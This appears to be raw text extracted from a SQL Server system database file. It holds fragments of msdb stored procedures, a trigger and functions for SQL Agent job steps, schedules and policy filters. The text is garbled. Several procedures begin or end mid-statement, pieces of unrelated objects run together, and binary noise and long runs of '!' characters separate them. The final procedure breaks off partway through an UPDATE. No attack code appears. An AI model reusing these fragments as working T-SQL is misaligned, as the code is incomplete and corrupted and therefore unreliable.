      RAISERROR ('Executing: %s', 0, 1, @drop_statement) WITH NOWAIT;
      EXEC  sp_executesql @drop_statement
   END

   DECLARE @full_object_name nvarchar(776) = QUOTENAME(@database_name) + '.' + QUOTENAME(@schema_name) + '.' + QUOTENAME(@object_name)
   DECLARE @create_statement nvarchar(1060)
   SET @create_statement = N'CREATE SYNONYM [dbo].' + QUOTENAME(@synonym_name) + ' FOR ' + @full_object_name
   RAISERROR ('Executing: %s', 0, 1, @create_statement) WITH NOWAIT;
   EXEC  sp_executesql @create_statement
END
0; I8CREATE FUNCTION [dbo].[fn_sysutility_ucp_get_aggregated_health]
(
	@is_over_utilized INT,
	@is_under_utilized INT
)
RETURNS TABLE
AS
RETURN ((SELECT 
CASE WHEN 0 = @is_over_utilized AND 0 = @is_under_utilized THEN 1 
ELSE CASE WHEN @is_over_utilized > 0 THEN 3 
ELSE 2 END END AS val))
LECT @schedule_uid = schedule_uid 
      FROM sysschedules 
      WHERE schedule_id = @schedule_id

      IF(NOT @schedule_uid IS NULL)
      BEGIN
        -- sp_post_msx_operation will do nothing if the schedule isn't assigned to any tsx machines 
        EXECUTE sp_post_msx_operation @operation = 'INSERT', @object_type = 'SCHEDULE', @schedule_uid = @schedule_uid
      END
    END
    ELSE
      RAISERROR(14547, 0, 1, N'INSERT', N'sp_post_msx_operation')
   END
  END
  
  RETURN(@retval) -- 0 means success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!h`H<I7DWS"0.A 8CREATE TRIGGER dbo.trig_sysoriginatingservers_delete
ON dbo.sysoriginatingservers
FOR DELETE
AS
BEGIN
  SET NOCOUNT ON
  -- Only a single MSX server entry can exist in this table. ie. originating_server_id = 1 and master_server = 1. 
  IF((EXISTS (SELECT *
           FROM deleted AS d
                JOIN dbo.sysjobs AS j ON d.originating_server_id = j.originating_server_id)) OR
    (EXISTS (SELECT *
           FROM deleted AS d
                JOIN dbo.sysschedules AS s ON d.originating_server_id = s.originating_server_id)))
  BEGIN
    RAISERROR(14380, -1, -1)
   ROLLBACK TRANSACTION
    RETURN
  END
END
0A D8Rh:1;0qA %8((0))0V
B 8
-- This function returns filters that are not supported
-- It is used to prevent unsupported filters from being
-- created. It will only reject well formed filters, in 
-- other words it will not perform a full syntax check.
CREATE FUNCTION [dbo].[syspolicy_fn_get_bad_filters] (
    @inserted [dbo].[syspolicy_target_filters_type] READONLY
)
RETURNS TABLE
AS
    RETURN 
    (
        SELECT filter FROM @inserted 
        WHERE    
            -- do not accept filters for the next level 
            filter LIKE N'Server/%/%\[@%=%\]%' ESCAPE '\' AND 
            -- take out cases when the property contains the pattern
            filter NOT LIKE 'Server/%\[%\[%\]%\]%' ESCAPE '\'
    )
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!b=`<z8#hTYi
  -- @flags=4 is valid only for TSQL subsystem
  IF (((@flags & 4) <> 0) AND (UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('TSQL')))
  BEGIN
    RAISERROR(14545, -1, -1, '@flags', @subsystem)
    RETURN(1) -- Failure
  END

  -- values 8 and 16 for @flags cannot be combined
  IF (((@flags & 8) <> 0) AND ((@flags & 16) <> 0))
  BEGIN
    RAISERROR(14545, -1, -1, '@flags', @subsystem)
    RETURN(1) -- Failure
  END

  IF (((@flags & 64) <> 0) AND (UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('CMDEXEC')))
  BEGIN
    RAISERROR(14545, -1, -1, '@flags', @subsystem)
    RETURN(1) -- Failure
  END

  -- Check output file
  IF (@output_file_name IS NOT NULL) AND (UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('TSQL', 'CMDEXEC', 'ANALYSISQUERY', 'ANALYSISCOMMAND', 'SSIS', 'POWERSHELL' ))
  BEGIN
    RAISERROR(14545, -1, -1, '@output_file_name', @subsystem)
    RETURN(1) -- Failure
  END

  -- Check writing to table flags
  -- Note: explicit check for null is required here
  IF (@flags IS NOT NULL) AND (((@flags & 8) <> 0) OR ((@flags & 16) <> 0)) AND (UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('TSQL', 'CMDEXEC', 'ANALYSISQUERY', 'ANALYSISCOMMAND', 'SSIS', 'POWERSHELL' ))
  BEGIN
    RAISERROR(14545, -1, -1, '@flags', @subsystem)
    RETURN(1) -- Failure
  END

  -- For CmdExec steps database-name and database-user-name should both be null
  IF (UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'CMDEXEC')
    SELECT @database_name = NULL,
           @database_user_name = NULL

  -- For non-TSQL steps, database-user-name should be null
  IF (UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) <> 'TSQL')
    SELECT @database_user_name = NULL

  -- For a TSQL step, get (and check) the username of the caller in the target database.
  IF (UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'TSQL')
  BEGIN
    SET NOCOUNT ON

    -- But first check if remote server name has been supplied
    IF (@server IS NOT NULL)
      SELECT @server = NULL

    -- Default database to 'master' if not supplied
    IF (LTRIM(RTRIM(@database_name)) IS NULL)
      SELECT @database_name = N'master'

    -- Check the database (although this is no guarantee that @database_user_name can access it)
    IF (DB_ID(@database_name) IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@database_name', @database_name)
      RETURN(1) -- Failure
    END

    SELECT @database_user_name = LTRIM(RTRIM(@database_user_name))

    -- Only if a SysAdmin is creating the job can the database user name be non-NULL [since only
    -- SysAdmin's can call SETUSER].
    -- NOTE: In this case we don't try to validate the user name (it's too costly to do so)
    --       so if it's bad we'll get a runtime error when the job executes.
    IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1)
    BEGIN
      -- If this is a multi-server job then @database_user_name must be null
      IF (@database_user_name IS NOT NULL)
      BEGIN
        IF (EXISTS (SELECT *
                    FROM msdb.dbo.sysjobs       sj,
                         msdb.dbo.sysjobservers sjs
                    WHERE (sj.job_id = sjs.job_id)
                      AND (sj.job_id = @job_id)
                      AND (sjs.server_id <> 0)))
        BEGIN
          RAISERROR(14542, -1, -1, N'database_user_name')
          RETURN(1) -- Failure
        END
      END

      -- For a SQL-user, check if it exists
      IF (@database_user_name NOT LIKE N'%\%')
      BEGIN
        SELECT @database_user_name_temp = replace(@database_user_name, N'''', N'''''')
        SELECT @database_name_temp = QUOTENAME(@database_name)

        EXECUTE(N'DECLARE @ret INT
                  SELECT @ret = COUNT(*)
                  FROM ' + @database_name_temp + N'.dbo.sysusers
                  WHERE (name = N''' + @database_user_name_temp + N''')
                  HAVING (COUNT(*) > 0)')
        IF (@@ROWCOUNT = 0)
        BEGIN
          RAISERROR(14262, -1, -1, '@database_user_name', @database_user_name)
          RETURN(1) -- Failure
        END
      END
    END
    ELSE
      SELECT @database_user_name = NULL

  END  -- End of TSQL property verification

  RETURN(0) -- Success
END
??ution_step, N'0 ' + FORMATMESSAGE(14205)), -- This column will be NULL if the job is non-local
         current_retry_attempt = ISNULL(fj.current_retry_attempt, 0),                 -- This column will be NULL if the job is non-local
         has_step = (SELECT COUNT(*)
                     FROM msdb.dbo.sysjobsteps sjst
                     WHERE (sjst.job_id = sjv.job_id)),
         has_schedule = (SELECT COUNT(*)
                         FROM msdb.dbo.sysjobschedules sjsch
                         WHERE (sjsch.job_id = sjv.job_id)),
         has_target = (SELECT COUNT(*)
                       FROM msdb.dbo.sysjobservers sjs
                       WHERE (sjs.job_id = sjv.job_id)),
         type = fj.type
  FROM @filtered_jobs                         fj
       LEFT OUTER JOIN msdb.dbo.sysjobs_view  sjv ON (fj.job_id = sjv.job_id)
       LEFT OUTER JOIN msdb.dbo.sysoperators  so1 ON (sjv.notify_email_operator_id = so1.id)
       LEFT OUTER JOIN msdb.dbo.sysoperators  so2 ON (sjv.notify_netsend_operator_id = so2.id)
       LEFT OUTER JOIN msdb.dbo.sysoperators  so3 ON (sjv.notify_page_operator_id = so3.id)
       LEFT OUTER JOIN msdb.dbo.syscategories sc  ON (sjv.category_id = sc.category_id)
  ORDER BY sjv.job_id

END
0'0T NULL) OR (@date_last_modified IS NOT NULL)))
    BEGIN
      RAISERROR(14282, -1, -1)
      RETURN(1) -- Failure
    END

    -- Check dates / comparator
    IF (@date_comparator IS NOT NULL) AND (@date_comparator NOT IN ('=', '<', '>'))
    BEGIN
      RAISERROR(14266, -1, -1, '@date_comparator', '=, >, <')
      RETURN(1) -- Failure
    END
    IF (@date_created IS NOT NULL) AND
       ((@date_created < '19900101') OR (@date_created > '99991231 23:59'))
    BEGIN
      RAISERROR(14266, -1, -1, '@date_created', '1990-01-01 12:00am .. 9999-12-31 11:59pm')
      RETURN(1) -- Failure
    END
    IF (@date_last_modified IS NOT NULL) AND
       ((@date_last_modified < '19900101') OR (@date_last_modified > '99991231 23:59'))
    BEGIN
      RAISERROR(14266, -1, -1, '@date_last_modified', '1990-01-01 12:00am .. 9999-12-31 11:59pm')
      RETURN(1) -- Failure
    END

    -- Generate results set...
    EXECUTE sp_get_composite_job_info @job_id,
                                      @job_type,
                                      @owner_login_name,
                                      @subsystem,
                                      @category_id,
                                      @enabled,
                                      @execution_status,
                                      @date_comparator,
                                      @date_created,
                                      @date_last_modified,
                                      @description
  END

  RETURN(0) -- Success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!un`<(9 4v(CREATE PROCEDURE dbo.sp_add_jobstep_internal
  @job_id                UNIQUEIDENTIFIER = NULL,   -- Must provide either this or job_name
  @job_name              sysname          = NULL,   -- Must provide either this or job_id
  @step_id               INT              = NULL,   -- The proc assigns a default
  @step_name             sysname,
  @subsystem             NVARCHAR(40)     = N'TSQL',
  @command               NVARCHAR(max)    = NULL,
  @additional_parameters NVARCHAR(max)    = NULL,
  @cmdexec_success_code  INT              = 0,
  @on_success_action     TINYINT          = 1,      -- 1 = Quit With Success, 2 = Quit With Failure, 3 = Goto Next Step, 4 = Goto Step
  @on_success_step_id    INT              = 0,
  @on_fail_action        TINYINT          = 2,      -- 1 = Quit With Success, 2 = Quit With Failure, 3 = Goto Next Step, 4 = Goto Step
  @on_fail_step_id       INT              = 0,
  @server                sysname          = NULL,
  @database_name         sysname          = NULL,
  @database_user_name    sysname          = NULL,
  @retry_attempts        INT              = 0,      -- No retries
  @retry_interval        INT              = 0,      -- 0 minute interval
  @os_run_priority       INT              = 0,      -- -15 = Idle, -1 = Below Normal, 0 = Normal, 1 = Above Normal, 15 = Time Critical)
  @output_file_name      NVARCHAR(200)    = NULL,
  @flags                 INT              = 0,       --  0 = Normal, 
                                                     --  1 = Encrypted command (read only), 
                                                     --  2 = Append output files (if any), 
                                                     --  4 = Write TSQL step output to step history
                                                     --  8 = Write log to table (overwrite existing history)
                                                     -- 16 = Write log to table (append to existing history)
                                                     -- 32 = Write all output to job history
                                                     -- 64 = Create a Windows event to use as a signal for the Cmd jobstep to abort
  @proxy_id               int               = NULL,
  @proxy_name              sysname           = NULL,
  -- mutual exclusive; must specify only one of above 2 parameters to 
  -- identify the proxy. 
  @step_uid UNIQUEIDENTIFIER              = NULL OUTPUT
AS
BEGIN
  DECLARE @retval         INT
  DECLARE @max_step_id    INT
  DECLARE @job_owner_sid  VARBINARY(85)
  DECLARE @subsystem_id   INT
  DECLARE @auto_proxy_name sysname
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @step_name          = LTRIM(RTRIM(@step_name))
  SELECT @subsystem          = LTRIM(RTRIM(@subsystem))
  SELECT @server             = LTRIM(RTRIM(@server))
  SELECT @database_name      = LTRIM(RTRIM(@database_name))
  SELECT @database_user_name = LTRIM(RTRIM(@database_user_name))
  SELECT @output_file_name   = LTRIM(RTRIM(@output_file_name))
  SELECT @proxy_name         = LTRIM(RTRIM(@proxy_name))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@server             = N'') SELECT @server             = NULL
  IF (@database_name      = N'') SELECT @database_name      = NULL
  IF (@database_user_name = N'') SELECT @database_user_name = NULL
  IF (@output_file_name   = N'') SELECT @output_file_name   = NULL
  IF (@proxy_name         = N'') SELECT @proxy_name         = NULL

  -- Check authority (only SQLServerAgent can add a step to a non-local job)
  EXECUTE @retval = sp_verify_jobproc_caller @job_id = @job_id, @program_name = N'SQLAgent%'
  IF (@retval <> 0)
    RETURN(@retval)

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT,
                                               @owner_sid = @job_owner_sid OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1) AND
      (SUSER_SID() <> @job_owner_sid))
  BEGIN
     RAISERROR(14525, -1, -1)
     RETURN(1) -- Failure
  END
  

  -- check proxy identifiers only if a proxy has been provided
  IF (@proxy_id IS NOT NULL) or (@proxy_name IS NOT NULL)
  BEGIN
    EXECUTE @retval = sp_verify_proxy_identifiers '@proxy_name',
                                                  '@proxy_id',
                                                   @proxy_name OUTPUT,
                                                   @proxy_id   OUTPUT
    IF (@retval <> 0)
      RETURN(1) -- Failure
   END

  -- Default step id (if not supplied)
  IF (@step_id IS NULL)
  BEGIN
    SELECT @step_id = ISNULL(MAX(step_id), 0) + 1
    FROM msdb.dbo.sysjobsteps
    WHERE (job_id = @job_id)
  END

  -- Check parameters
  EXECUTE @retval = sp_verify_jobstep @job_id,
                                      @step_id,
                                      @step_name,
                                      @subsystem,
                                      @command,
                                      @server,
                                      @on_success_action,
                                      @on_success_step_id,
                                      @on_fail_action,
                                      @on_fail_step_id,
                                      @os_run_priority,
                                      @database_name      OUTPUT,
                                      @database_user_name OUTPUT,
                                      @flags,
                                      @output_file_name,
                                               @proxy_id

  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Get current maximum step id
  SELECT @max_step_id = ISNULL(MAX(step_id), 0)
  FROM msdb.dbo.sysjobsteps
  WHERE (job_id = @job_id)

  DECLARE @TranCounter INT;
  SET @TranCounter = @@TRANCOUNT;
  IF @TranCounter = 0
  BEGIN
      -- start our own transaction if there is no outer transaction
      BEGIN TRANSACTION;
  END
  
  -- Modify database.
  BEGIN TRY
    -- Update the job's version/last-modified information
    UPDATE msdb.dbo.sysjobs
    SET version_number = version_number + 1,
        date_modified = GETDATE()
    WHERE (job_id = @job_id)

    -- Adjust step id's (unless the new step is being inserted at the 'end')
    -- NOTE: We MUST do this before inserting the step.
    IF (@step_id <= @max_step_id)
    BEGIN
      UPDATE msdb.dbo.sysjobsteps
      SET step_id = step_id + 1
      WHERE (step_id >= @step_id)
        AND (job_id = @job_id)

      -- Clean up OnSuccess/OnFail references
      UPDATE msdb.dbo.sysjobsteps
      SET on_success_step_id = on_success_step_id + 1
      WHERE (on_success_step_id >= @step_id)
        AND (job_id = @job_id)

      UPDATE msdb.dbo.sysjobsteps
      SET on_fail_step_id = on_fail_step_id + 1
      WHERE (on_fail_step_id >= @step_id)
        AND (job_id = @job_id)

      UPDATE msdb.dbo.sysjobsteps
      SET on_success_step_id = 0,
          on_success_action = 1  -- Quit With Success
